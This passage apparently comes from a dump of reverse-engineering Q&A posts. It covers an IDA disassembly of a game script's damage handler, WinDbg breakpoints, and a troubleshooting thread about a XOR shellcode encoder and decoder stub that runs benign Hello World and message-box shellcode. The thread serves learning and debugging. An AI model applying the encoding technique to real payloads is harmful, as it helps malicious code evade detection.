ScriptImpClass  struc; (sizeof = 0x1C, mappedto_2754)\n00000000; XREF: _ZN17M08_Prison_Patrol7CreatedEP17ScriptableGameObj / r\n00000000; _ZN10M08_Sniper7CreatedEP17ScriptableGameObj / r ...\n00000000 base            ScriptClass ?\n00000008 mOwner          dd ? ; offset\n0000000C mArgC           dd ?\n00000010 mArgV           dd ? ; offset\n00000014 mFactory        dd ? ; offset\n00000018 AutoVariableList dd ? ; offset\n0000001C ScriptImpClass  ends\n\n00000000 M00_Damage_Modifier_DME struc; (sizeof = 0x3C, mappedto_2798)\n00000000 base            ScriptImpClass ?\n0000001C field_1C        dd ?\n00000020 field_20        dd ?\n00000024 field_24        dd ?\n00000028 killableByStar  dd ?\n0000002C killableByNotStar dd ?\n00000030 starModifier    dd ?\n00000034 notStarModifier dd ?\n00000038 enabled         db ?\n00000039 pad_01          db ?\n0000003A pad_02          db ?\n0000003B pad_03          db ?\n0000003C M00_Damage_Modifier_DME ends\n\n.text:084D1582; void __cdecl M00_Damage_Modifier_DME::Damaged(M00_Damage_Modifier_DME *this, ScriptableGameObj *obj, ScriptableGameObj *damager, float amount)\n.text:084D1582                 public _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f; weak\n.text:084D1582 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f proc near\n.text:084D1582; DATA XREF : .data : 08659468o\n.text:084D1582\n.text:084D1582 var_5C = dword ptr - 5Ch\n.text:084D1582 var_58 = dword ptr - 58h\n.text:084D1582 var_43 = byte ptr - 43h\n.text:084D1582 var_42 = byte ptr - 42h\n.text:084D1582 var_41 = byte ptr - 41h\n.text:084D1582 var_40 = dword ptr - 40h\n.text:084D1582 pos_1 = Vector3 ptr - 3Ch\n.text:084D1582 pos = Vector3 ptr - 2Ch\n.text:084D1582 this = dword ptr  4\n.text:084D1582 obj = dword ptr  8\n.text:084D1582 damager = dword ptr  0Ch\n.text:084D1582 amount = dword ptr  10h\n.text:084D1582\n.text:084D1582                 push    ebp\n.text:084D1583                 push    edi\n.text:084D1584                 push    esi\n.text:084D1585                 push    ebx\n.text:084D1586                 sub     esp, 3Ch\n.text:084D1589                 mov     edi, [esp + 4Ch + this]\n.text:084D158D                 mov     ebp, [esp + 4Ch + obj]\n.text:084D1591                 cmp     byte ptr[edi + 38h], 0\n.text:084D1595                 jz      loc_84D184B\n.text:084D159B                 mov[esp + 4Ch + var_41], 0\n.text:084D15A0                 cmp     dword ptr[edi + 30h], 0\n.text:084D15A4                 jnz     short loc_84D15DD\n.text:084D15A6                 sub     esp, 0Ch\n.text:084D15A9                 mov     esi, Commands\n.text:084D15AF                 lea     ebx, [esp + 58h + pos]\n.text:084D15B3                 sub     esp, 10h\n.text:084D15B6                 mov     eax, [edi]\n.text:084D15B8                 push    edi\n.text:084D15B9                 call    dword ptr[eax + 48h]\n.text:084D15BC                 add     esp, 8\n.text:084D15BF                 push    eax\n.text:084D15C0                 push    ebx\n.text:084D15C1                 call    dword ptr[esi + 40h]\n.text:084D15C4                 add     esp, 10h\n.text:084D15C7                 push    ebx\n.text:084D15C8                 call    dword ptr[esi + 110h]\n.text:084D15CE                 add     esp, 10h\n.text:084D15D1                 cmp[esp + 4Ch + damager], eax\n.text:084D15D5                 jnz     short loc_84D15DD\n.text:084D15D7                 cmp     dword ptr[edi + 28h], 0\n.text:084D15DB                 jnz     short loc_84D161A\n.text:084D15DD\n.text:084D15DD loc_84D15DD : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 22j\n.text:084D15DD; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 53j\n.text:084D15DD                 cmp     dword ptr[edi + 34h], 0\n.text:084D15E1                 jnz     short loc_84D161F\n.text:084D15E3                 sub     esp, 0Ch\n.text:084D15E6                 mov     esi, Commands\n.text:084D15EC                 lea     ebx, [esp + 58h + pos_1]\n.text:084D15F0                 sub     esp, 10h\n.text:084D15F3                 mov     eax, [edi]\n.text:084D15F5                 push    edi\n.text:084D15F6                 call    dword ptr[eax + 48h]\n.text:084D15F9                 add     esp, 8\n.text:084D15FC                 push    eax\n.text:084D15FD                 push    ebx\n.text:084D15FE                 call    dword ptr[esi + 40h]\n.text:084D1601                 add     esp, 10h\n.text:084D1604                 push    ebx\n.text:084D1605                 call    dword ptr[esi + 110h]\n.text:084D160B                 add     esp, 10h\n.text:084D160E                 cmp[esp + 4Ch + damager], eax\n.text:084D1612                 jz      short loc_84D161F\n.text:084D1614                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D1618                 jz      short loc_84D161F\n.text:084D161A\n.text:084D161A loc_84D161A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 59j\n.text:084D161A                 mov[esp + 4Ch + var_41], 1\n.text:084D161F\n.text:084D161F loc_84D161F : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 5Fj\n.text:084D161F; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 90j ...\n.text:084D161F                 cmp[esp + 4Ch + var_41], 0\n.text:084D1624                 jz      short loc_84D163B\n.text:084D1626                 sub     esp, 0Ch\n.text:084D1629                 push    ebp\n.text:084D162A                 mov     eax, Commands\n.text:084D162F                 call    dword ptr[eax + 0DCh]\n.text:084D1635                 fstp    dword ptr[edi + 20h]\n.text:084D1638                 add     esp, 10h\n.text:084D163B\n.text:084D163B loc_84D163B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + A2j\n.text:084D163B                 mov[esp + 4Ch + var_42], 0\n.text:084D1640                 cmp     dword ptr[edi + 30h], 0\n.text:084D1644                 jz      short loc_84D167D\n.text:084D1646                 sub     esp, 0Ch\n.text:084D1649                 mov     esi, Commands\n.text:084D164F                 lea     ebx, [esp + 58h + pos_1]\n.text:084D1653                 sub     esp, 10h\n.text:084D1656                 mov     eax, [edi]\n.text:084D1658                 push    edi\n.text:084D1659                 call    dword ptr[eax + 48h]\n.text:084D165C                 add     esp, 8\n.text:084D165F                 push    eax\n.text:084D1660                 push    ebx\n.text:084D1661                 call    dword ptr[esi + 40h]\n.text:084D1664                 add     esp, 10h\n.text:084D1667                 push    ebx\n.text:084D1668                 call    dword ptr[esi + 110h]\n.text:084D166E                 add     esp, 10h\n.text:084D1671                 cmp[esp + 4Ch + damager], eax\n.text:084D1675                 jnz     short loc_84D167D\n.text:084D1677                 cmp     dword ptr[edi + 28h], 0\n.text:084D167B                 jnz     short loc_84D16BA\n.text:084D167D\n.text:084D167D loc_84D167D : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + C2j\n.text:084D167D; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F3j\n.text:084D167D                 cmp     dword ptr[edi + 34h], 0\n.text:084D1681                 jz      short loc_84D16BF\n.text:084D1683                 sub     esp, 0Ch\n.text:084D1686                 mov     esi, Commands\n.text:084D168C                 lea     ebx, [esp + 58h + pos]\n.text:084D1690                 sub     esp, 10h\n.text:084D1693                 mov     eax, [edi]\n.text:084D1695                 push    edi\n.text:084D1696                 call    dword ptr[eax + 48h]\n.text:084D1699                 add     esp, 8\n.text:084D169C                 push    eax\n.text:084D169D                 push    ebx\n.text:084D169E                 call    dword ptr[esi + 40h]\n.text:084D16A1                 add     esp, 10h\n.text:084D16A4                 push    ebx\n.text:084D16A5                 call    dword ptr[esi + 110h]\n.text:084D16AB                 add     esp, 10h\n.text:084D16AE                 cmp[esp + 4Ch + damager], eax\n.text:084D16B2                 jz      short loc_84D16BF\n.text:084D16B4                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D16B8                 jz      short loc_84D16BF\n.text:084D16BA\n.text:084D16BA loc_84D16BA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F9j\n.text:084D16BA                 mov[esp + 4Ch + var_42], 1\n.text:084D16BF\n.text:084D16BF loc_84D16BF : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + FFj\n.text:084D16BF; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 130j ...\n.text:084D16BF                 cmp[esp + 4Ch + var_42], 0\n.text:084D16C4                 jz      loc_84D1758\n.text:084D16CA                 sub     esp, 0Ch\n.text:084D16CD                 push    ebp\n.text:084D16CE                 mov     eax, Commands\n.text:084D16D3                 call    dword ptr[eax + 0DCh]\n.text:084D16D9                 fst     dword ptr[edi + 1Ch]\n.text:084D16DC                 add     esp, 10h\n.text:084D16DF                 fldz\n.text:084D16E1                 fxch    st(1)\n.text:084D16E3                 fucompp\n.text:084D16E5                 fnstsw  ax\n.text:084D16E7                 and     ah, 45h\n.text:084D16EA                 xor     ah, 40h\n.text:084D16ED                 jnz     short loc_84D16FA\n.text:084D16EF                 fld     dword ptr[edi + 20h]\n.text:084D16F2                 fsub    dword ptr[edi + 1Ch]\n.text:084D16F5                 fadd    dword ptr[edi + 24h]\n.text:084D16F8                 jmp     short loc_84D1700\n.text:084D16FA; -------------------------------------------------------------------------- -\n.text:084D16FA\n.text:084D16FA loc_84D16FA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 16Bj\n.text:084D16FA                 fld     dword ptr[edi + 20h]\n.text:084D16FD                 fsub    dword ptr[edi + 1Ch]\n.text:084D1700\n.text:084D1700 loc_84D1700 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 176j\n.text:084D1700                 fstp[esp + 4Ch + var_40]\n.text:084D1704                 sub     esp, 8\n.text:084D1707                 push    offset aDamage_multi_0; \"Damage_multiplier\"\n.text:084D170C                 push    edi; this\n.text:084D170D                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)\n.text:084D1712                 fmul[esp + 5Ch + var_40]\n.text:084D1716                 fld     st\n.text:084D1718                 fadd    dword ptr[edi + 24h]\n.text:084D171B                 fstp    dword ptr[edi + 24h]\n.text:084D171E                 add     esp, 4\n.text:084D1721                 fsubr   dword ptr[edi + 20h]\n.text:084D1724                 fstp[esp + 58h + var_58]\n.text:084D1727                 push    ebp\n.text:084D1728                 mov     eax, Commands\n.text:084D172D                 call    dword ptr[eax + 0E4h]\n.text:084D1733                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1736                 mov     eax, Commands\n.text:084D173B                 call    dword ptr[eax + 0DCh]\n.text:084D1741                 fstp    dword ptr[edi + 20h]\n.text:084D1744                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1747                 mov     eax, Commands\n.text:084D174C                 call    dword ptr[eax + 0DCh]\n.text:084D1752                 fstp    dword ptr[edi + 1Ch]\n.text:084D1755                 add     esp, 10h\n.text:084D1758\n.text:084D1758 loc_84D1758 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 142j\n.text:084D1758                 mov[esp + 4Ch + var_43], 0\n.text:084D175D                 cmp     dword ptr[edi + 30h], 0\n.text:084D1761                 jz      short loc_84D179A\n.text:084D1763                 sub     esp, 0Ch\n.text:084D1766                 mov     esi, Commands\n.text:084D176C                 lea     ebx, [esp + 58h + pos_1]\n.text:084D1770                 sub     esp, 10h\n.text:084D1773                 mov     eax, [edi]\n.text:084D1775                 push    edi\n.text:084D1776                 call    dword ptr[eax + 48h]\n.text:084D1779                 add     esp, 8\n.text:084D177C                 push    eax\n.text:084D177D                 push    ebx\n.text:084D177E                 call    dword ptr[esi + 40h]\n.text:084D1781                 add     esp, 10h\n.text:084D1784                 push    ebx\n.text:084D1785                 call    dword ptr[esi + 110h]\n.text:084D178B                 add     esp, 10h\n.text:084D178E                 cmp[esp + 4Ch + damager], eax\n.text:084D1792                 jnz     short loc_84D179A\n.text:084D1794                 cmp     dword ptr[edi + 28h], 0\n.text:084D1798                 jz      short loc_84D17D7\n.text:084D179A\n.text:084D179A loc_84D179A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 1DFj\n.text:084D179A; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 210j\n.text:084D179A                 cmp     dword ptr[edi + 34h], 0\n.text:084D179E                 jz      short loc_84D17DC\n.text:084D17A0                 sub     esp, 0Ch\n.text:084D17A3                 mov     esi, Commands\n.text:084D17A9                 lea     ebx, [esp + 58h + pos]\n.text:084D17AD                 sub     esp, 10h\n.text:084D17B0                 mov     eax, [edi]\n.text:084D17B2                 push    edi\n.text:084D17B3                 call    dword ptr[eax + 48h]\n.text:084D17B6                 add     esp, 8\n.text:084D17B9                 push    eax\n.text:084D17BA                 push    ebx\n.text:084D17BB                 call    dword ptr[esi + 40h]\n.text:084D17BE                 add     esp, 10h\n.text:084D17C1                 push    ebx\n.text:084D17C2                 call    dword ptr[esi + 110h]\n.text:084D17C8                 add     esp, 10h\n.text:084D17CB                 cmp[esp + 4Ch + damager], eax\n.text:084D17CF                 jz      short loc_84D17DC\n.text:084D17D1                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D17D5                 jnz     short loc_84D17DC\n.text:084D17D7\n.text:084D17D7 loc_84D17D7 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 216j\n.text:084D17D7                 mov[esp + 4Ch + var_43], 1\n.text:084D17DC\n.text:084D17DC loc_84D17DC : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 21Cj\n.text:084D17DC; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 24Dj ...\n.text:084D17DC                 cmp[esp + 4Ch + var_43], 0\n.text:084D17E1                 jz      short loc_84D184B\n.text:084D17E3                 sub     esp, 0Ch\n.text:084D17E6                 push    ebp\n.text:084D17E7                 mov     eax, Commands\n.text:084D17EC                 call    dword ptr[eax + 0DCh]\n.text:084D17F2                 fstp    dword ptr[edi + 1Ch]\n.text:084D17F5                 add     esp, 8\n.text:084D17F8                 fld     dword ptr[edi + 20h]\n.text:084D17FB                 fsub    dword ptr[edi + 1Ch]\n.text:084D17FE                 fstp[esp + 54h + var_40]\n.text:084D1802                 push    offset aDamage_multi_0; \"Damage_multiplier\"\n.text:084D1807                 push    edi; this\n.text:084D1808                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)\n.text:084D180D                 fmul[esp + 5Ch + var_40]\n.text:084D1811                 add     esp, 4\n.text:084D1814                 fsubr   dword ptr[edi + 20h]\n.text:084D1817                 fstp[esp + 58h + var_58]\n.text:084D181A                 push    ebp\n.text:084D181B                 mov     eax, Commands\n.text:084D1820                 call    dword ptr[eax + 0E4h]\n.text:084D1826                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1829                 mov     eax, Commands\n.text:084D182E                 call    dword ptr[eax + 0DCh]\n.text:084D1834                 fstp    dword ptr[edi + 20h]\n.text:084D1837                 mov[esp + 5Ch + var_5C], ebp\n.text:084D183A                 mov     eax, Commands\n.text:084D183F                 call    dword ptr[eax + 0DCh]\n.text:084D1845                 fstp    dword ptr[edi + 1Ch]\n.text:084D1848                 add     esp, 10h\n.text:084D184B\n.text:084D184B loc_84D184B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 13j\n.text:084D184B; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 25Fj\n.text:084D184B                 add     esp, 3Ch\n.text:084D184E                 pop     ebx\n.text:084D184F                 pop     esi\n.text:084D1850                 pop     edi\n.text:084D1851                 pop     ebp\n.text:084D1852                 retn\n.text:084D1852 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f endp\n.text:084D1852\n.text:084D1852; -------------------------------------------------------------------------- -\n</code></pre>\n\n<p>I tried looking up the opcodes at that area, but it didn't help me solve it either. I'm a complete noob when it comes to assembly. </p>\n",
        "Title": "Unknown comparison",
        "Tags": "|assembly|x86|decompilation|c|",
        "Answer": "<p>The line in question seems to correspond to this sequence:</p>\n\n<pre><code>.text:084D16DF                 fldz\n.text:084D16E1                 fxch    st(1)\n.text:084D16E3                 fucompp\n.text:084D16E5                 fnstsw  ax\n.text:084D16E7                 and     ah, 45h\n.text:084D16EA                 xor     ah, 40h\n</code></pre>\n\n<p>This performs comparison of the FPU stack values, then copies FPU flags to <code>ax</code> and checks its value (probably to determine the result of comparison). Since the Hex-Rays decompiler supports FPU instructions (including comparisons) <a href=\"https://www.hex-rays.com/products/decompiler/v11_vs_v10.shtml#5\" rel=\"nofollow noreferrer\">since at least version 1.1</a>, you either have a too old version or have hit on a bug. Try to update to the latest version or <a href=\"https://www.hex-rays.com/products/decompiler/manual/failures.shtml#report\" rel=\"nofollow noreferrer\">report it</a> if it's still present.</p>\n"
    },
    {
        "Id": "16272",
        "CreationDate": "2017-09-05T14:40:42.140",
        "Body": "<p>I am trying to set a breakpoint (created in assembly) and step into an EXE file line by line to watch registers and memory behavior. I have done this easily with gdb under Linux like this.</p>\n\n<pre><code>gdb -q ./AssembledLinkedFile -tui\nbreak _start  (or break *&amp;code for C using shellcode)\nrun\nstepi\n</code></pre>\n\n<p>This works perfectly. However, The documentation for Windbg does not seem so straight forward.</p>\n\n<p>Since using GoLink adds several lines of asm, I need to find my assembly and start at the beginning  (_start:)</p>\n\n<p>Current process.</p>\n\n<ol>\n<li>Write my assembly program.</li>\n<li>Assemble (on linux) -  nasm -f win64 messageBox64bit.nasm -o messageBox64bit.obj</li>\n<li>Link with golink (Windows) - golink \\console messageBox64bit.obj</li>\n<li>messageBox64bit.EXE created and works fine. Executed on Windows</li>\n</ol>\n\n<p>After I open the messageBox64bit.EXE in Windbg, how can I  set a breakpoint in my assembly (_start:), then step into? </p>\n",
        "Title": "Debugging EXE File in Windbg and How to set Breakpoints in Assembly",
        "Tags": "|gdb|windbg|shellcode|nasm|assembly|",
        "Answer": "<p>It seems  <code>bp $exentry</code> should set breakpoint on the entrypoint, then you can continue (<code>g</code>) until you hit it.</p>\n"
    },
    {
        "Id": "16274",
        "CreationDate": "2017-09-05T16:59:26.110",
        "Body": "<p>Should I be able to extract shellcode from a basic (tested and working) Win7-64 message box app and place the extracted shellcode into a tested and working assembly language encoder/decoder and expect it to work? (Assembling &amp; linking for windows instead of linking for linux)</p>\n\n<p>I have tested a simple XOR encoder/decoder on linux with success using the steps listed below. \nIn short, I have a WORKING XOR encoder/decoder system and I tried using win764 message box shellcode with my encode/decode sytem.(I know this seems obvious I can't run shellcode from linux to windows but there is more to it)</p>\n\n<p>I simply replaced the extracted shellcode from the Win7 message box into my encode/decode system. Assembled with nasm -fwin64 then linked with golink on windows to get an exe and it crashes every time. (Tested steps without encoder and assemble/link/execute work perfectly)</p>\n\n<ol>\n<li>I am assembling the XOR decoder for windows -  nasm <strong>-fwin64</strong> (with message box shellcode pasted in)</li>\n<li>linking for windows using golink</li>\n<li>Failing to execute on windows</li>\n</ol>\n\n<p><strong>This is the Linux XOR encode/decode method that works great</strong>.</p>\n\n<hr>\n\n<ol>\n<li>Uses HelloWorld.nasm</li>\n<li>Assemble with  - nasm -felf64 HelloWorld.nasm -o HelloWorld.o</li>\n<li>Extract shellcode with -  for i in $(objdump -d [binary-or-objectfile] |grep \"^ \" |cut -f2); do echo -n '\\x'$i; done;echo</li>\n<li><p>Place HelloWorld shellcode in C wrapper</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code[] = \\\n\"\\xeb\\x1e\\x5e\\x48\\x31\\xc0\\xb0\\x01\\x48\\x89\\xc7\\x48\\x89\\xfa\\x48\\x83\\xc2\\x22\\x0f\\x05\\x48\\x31\\xc0\\x48\\x83\\xc0\\x3c\\x48\\x31\\xff\\x0f\\x05\\xe8\\xdd\\xff\\xff\\xff\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x20\\x0a\";\n\nint  main()\n{\n\n        printf(\"Shellcode Length:  %d\\n\", (int)strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n\n}\n</code></pre></li>\n<li><p>Run ./HelloWorld (validated that shellcode works in C wrapper)</p>\n\n<hr></li>\n</ol>\n\n<p>Now, I use a simple XOR encoder with python to XOR the HelloWorld shellcode.</p>\n\n<hr>\n\n<p>1.python XOREncoder.py</p>\n\n<p>XORed HelloWorld shellcode formated for nasm output:</p>\n\n<pre><code>          0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0\n</code></pre>\n\n<ol>\n<li><p>Place XORed shellcode in XORdecoder.nasm like this:</p>\n\n<pre><code>global _start\n\nsection .text\n\n_start:\n\n\nstart:\n        jmp find_address\n\ndecoder:\n        pop rdi\n        xor rcx, rcx\n        add cl, 50\ndecode:\n        xor byte [rdi], 0xAA\n        inc rdi\n        loop decode\n\n        jmp short encoded_shellcode\n\nfind_address:\n        call decoder\n\n        encoded_shellcode: db 0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0\n</code></pre>\n\n<ol start=\"2\">\n<li>Assembled with - nasm -felf64 HelloWorldEncoded.nasm -o HelloWorldEncoded.o</li>\n<li>Compiled with GCC and tested. WORKS!\n\n<hr></li>\n</ol></li>\n</ol>\n\n<p><strong>NOW, here is the issue on Windows 7 64</strong></p>\n\n<p>I found a great example of a WIN 7 64 bit messagebox.nasm that just pops a message box <a href=\"https://www.tophertimzen.com/blog/windowsx64Shellcode/\" rel=\"nofollow noreferrer\">here</a>. So naturally I wanted to test my XOR decoder. So I tried to assemble and link my decoder for windows like this.</p>\n\n<p>I tested this using these steps described in the link:</p>\n\n<ol>\n<li><p>nasm -f <strong>win64</strong> messageBox64bit.asm -o messageBox64bit.obj </p></li>\n<li><p>golink /console messageBox64bit.obj</p></li>\n<li>Execute on Win764  ./messageBox64bit.exe</li>\n</ol>\n\n<p>GREAT! messageBox64bit.exe pops the message box. Now the ISSUE.</p>\n\n<ol>\n<li>I assembled messageBox64bit.nasm with nasm</li>\n<li>ran extracted messagebox shellcode through XOR encoder</li>\n<li>pasted asm friendly XOR encoded shellcode into decoder</li>\n<li>Adjust RCX (cl) counter for new shellcode length</li>\n<li>Assembled decoder with nasm with -fwin64 option</li>\n<li>Linked with golink /console messageBox64bit.obj</li>\n<li><p>Try to execute on WIN 7 64.</p>\n\n<p>It crashes every damn time What is wrong here?. </p></li>\n</ol>\n\n<p>EDIT1:</p>\n\n<p>Crashes in windbg on the XOR function:</p>\n\n<pre><code>Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\nxordecoder2+0x1009:\n00000000`00401009 8037aa          xor     byte ptr [rdi],0AAh ds:00000000`00401018=e7\n0:000&gt; t\nds:00000000`00401018=e7\n0:000&gt; t\n</code></pre>\n\n<p>Edit2. Following the advice from Igor below, I edited the EXE to have the .text section writeable. Apparently the .text section is not writeable for a windows EXE. Error changed to this now:</p>\n\n<pre><code>    (1f08.1af0): Unknown exception - code c0000096 (first chance)\n    (1f08.1af0): Unknown exception - code c0000096 (!!! second chance !!!)\n    *** ERROR: Module load completed but symbols could not be loaded for C:\\data_section_xorencoder7.exe\n    data_section_xorencoder7+0x1016:\n    00000000`00401016 e7ff            out     0FFh,eax\n</code></pre>\n\n<p>EDIT\nNasm code. XORed shellcode.</p>\n\n<pre><code>    bits 64\n    section .text\n    global start\n\n    start:\n            jmp find_address\n\n    decoder:\n            pop rdi\n            xor rcx, rcx\n            add cx, 260\n    decode:\n            xor byte [rdi], 0xAA\n            inc rdi\n            loop decode\n\n            jmp short encoded_shellcode\n\n    find_address:\n            call decoder\n\n\n            encoded_shellcode: 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69\n</code></pre>\n",
        "Title": "Working Linux assembly XOR Encoder/Decoder Failing on Windows",
        "Tags": "|assembly|exploit|shellcode|reassembly|nasm|",
        "Answer": "<p>There are few issues with your code.</p>\n\n<p>1st is what <a href=\"https://reverseengineering.stackexchange.com/users/60/igor-skochinsky\">Igor</a> mentioned - .text section is RO. This was solved in this <a href=\"https://reverseengineering.stackexchange.com/a/16306/18014\">answer</a>.</p>\n\n<p>The 2nd is that you did not copy correctly the bytes or lost some of them in other way. Your shellcode has 260 bytes, but if I compile the example for the <a href=\"https://www.tophertimzen.com/blog/windowsx64Shellcode/\" rel=\"nofollow noreferrer\">link</a> that you've provided then I get 262. I run them by a short python script to xor them and after that I get this:</p>\n\n<pre><code>db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 